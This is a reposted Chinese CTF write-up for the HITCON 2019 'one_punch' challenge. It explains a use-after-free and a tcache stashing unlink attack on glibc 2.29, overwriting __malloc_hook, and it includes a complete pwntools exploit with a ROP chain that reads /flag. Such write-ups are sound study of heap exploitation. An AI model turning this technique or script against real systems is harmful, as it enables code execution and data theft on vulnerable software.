ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

hitcon_ctf_2019_one_punch wp

2021-12-14 04:02:49  阅读:277  来源: 互联网

标签:bin p64 libc add pop ctf 2019 wp rop


hitcon_ctf_2019_one_punch

遇到一个比较新的题,涉及到知识盲区,在此记录一下,libc是2.29

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,依旧保护是全开,具体程序的执行流程在此不累赘,直接看存在漏洞的函数,delete函数存在uaf

void sub_1568()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  puts_("idx: ");
  v0 = my_read();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free(*((void **)&unk_4040 + 2 * v0));
}

这个题比较新的地方是add函数使用是calloc去申请堆,而不是malloc,但是在其他位置还是存在用malloc申请堆的函数,但是是被限制,需要个数大于6才能调用

__int64 sub_15BB()
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(_BYTE *)(qword_4030 + 32) <= 6 )
    error((__int64)"gg");
  buf = malloc(0x217uLL);
  if ( !buf )
    error((__int64)"err");
  if ( read(0, buf, 0x217uLL) <= 0 )
    error((__int64)"io");
  puts("Serious Punch!!!");
  puts(&unk_2128);
  return puts(buf);
}

绕过这个if判断,可以向其中写进一个 main_arena地址 ,结合题目的calloc,假设我们能构造好特定的结构,比如tcache bin中是6个,small bin满足2个,当执行calloc,small bin中的chunk会被插入到tcache bin中,直到满足7个,此时向其写进一个 main_arena地址 ,具体还是得看libc-2.29的源码,其中涉及到很细节的东西, ha1vk的分析很不错(https://blog.csdn.net/seaaseesa/article/details/105870247)
下面结合本地调试

首先malloc的部分申请的堆大小是0x217,并且我们需要泄露libc等等,构建两个堆

add(0,'a'*0x218)
add(1,'b'*0x80)

泄露heap_addr和libc比较简单就不讲述了,主要就是利用uaf,我们是要构建两个small bin出来,这里我们就需要借助malloc_consolidata(大于small bin触发)。当泄露释放chunk 0的时候,此时unsorted bin大小为0x220,申请一下0x180,切割unsorted bin,剩余0x90放入small bin

add(1,'a'*0x180)
add(1,'a'*0x400)

add(2,'a'*0x100)#隔开

此时可以看到smallbins

0x90: 0x555555be63e0 —▸ 0x7f754e343d20 (main_arena+224) ◂— 0x555555be63e0

再次构造一个small bin,因为unsorted bin现在没有东西,构造一个chunk进入unsorted bin,然后切割,malloc_consolidata触发,让其切割后的部分进入small bin,这样达成两个small bin

for i in range(7):
    delete(1)
    edit(1,'c'*0x10)

delete(1)#unsorted bin size 0x410
add(2,0x370*'d')
add(2,0x400*'d')

smallbins
0x90: 0x555556878880 —▸ 0x5555568783e0 —▸ 0x7fef97642d20 (main_arena+224) ◂— 0x555556878880

修改倒数第二个chunk的bk

fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)

此时,目标地址因为被写进small bin的地址。看一下数据

0x5555568e7870: 0x6565656565656565      0x6565656565656565
0x5555568e7880: 0x0000000000000000      0x0000000000000091
0x5555568e7890: 0x00005555568e73e0      0x00005555568e7020
0x5555568e78a0: 0x6161616161616161      0x6161616161616161
0x5555568e78b0: 0x6161616161616161      0x6161616161616161
0x5555568e78c0: 0x6161616161616161      0x6161616161616161
0x5555568e78d0: 0x6161616161616161      0x6161616161616161
0x5555568e78e0: 0x6161616161616161      0x6161616161616161
0x5555568e78f0: 0x6161616161616161      0x6161616161616161
0x5555568e7900: 0x6161616161616161      0x0061616161616161

这里的bk我们写进了0x00005555568e7020,看一下tcache bin

0x90 [  6]: 0x555557413480

在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,
直到tcache bin填满,因此我们申请add一个,再看tcache bin

add(1,'a'*0x80)

tcache bin如下

0x90 [  7]: 0x5555572f5890 —▸ 0x5555572f5480

可见原本small bin的chunk被加入tcache bin,接下来将malloc_hook连入链表

edit(0,p64(malloc_hook))

这样0x220大小的chunk,就形成链

0x220 [ 32]: 0x55555672a260 —▸ 0x7f7a5447ac30 (__malloc_hook) ◂— 0x0
malloc('/flag\x00')
0x220 [ 31]: 0x7fc2fbcabc30 (__malloc_hook) ◂— 0x0

下次申请的时候,在malloc_hook的地方写进shellcode即可,但是这个题开启了沙箱,只能通过orw来读取flag,构造一下

add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop =  p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)

完整的exp如下

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so','./hitcon_ctf_2019_one_punch'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'})
libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#r = remote('node4.buuoj.cn',29390)
#libc = ELF('./buu64_libc-2.29.so')

def menu(choice):
    r.recvuntil('> ')
    r.sendline(str(choice))

def add(idx,content):
    menu(1)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def edit(idx,content):
    menu(2)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def punch(content):
    menu(50056)
    r.send(content)

add(0,'a'*0x218)
add(1,'b'*0x80)

for i in range(6):
    delete(1)
    edit(1,'b'*0x10)

for i in range(6):
    delete(0)
    edit(0,'a'*0x10)

delete(0)
show(0)
r.recvuntil('hero name: ')
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print('heap_addr',hex(heap_addr))

edit(0,'a'*0x10)
delete(0)
show(0)
r.recvuntil('hero name: ')
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e4ca0
print(hex(libc_base))

add(1,'a'*0x180)
add(1,'a'*0x400)
add(2,'a'*0x100)

for i in range(7):
    delete(1)
    edit(1,'c'*0x10)

delete(1)
add(2,0x370*'d')
add(2,0x400*'d')

fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)
add(1,'f'*0x80)

malloc_hook = libc_base+libc.sym['__malloc_hook']
print('malloc_hook',hex(malloc_hook))
edit(0,p64(malloc_hook))
punch('/flag\x00')

add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop =  p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)

punch(p64(add_rsp))
add(1,rop)
gdb.attach(r)
r.interactive()

参考:https://www.cnblogs.com/countfatcode/p/13052724.html

https://blog.csdn.net/seaaseesa/article/details/105870247

https://blog.csdn.net/qq_41453285/article/details/97627411

标签:bin,p64,libc,add,pop,ctf,2019,wp,rop
来源: https://www.cnblogs.com/crfshadow/p/15686088.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有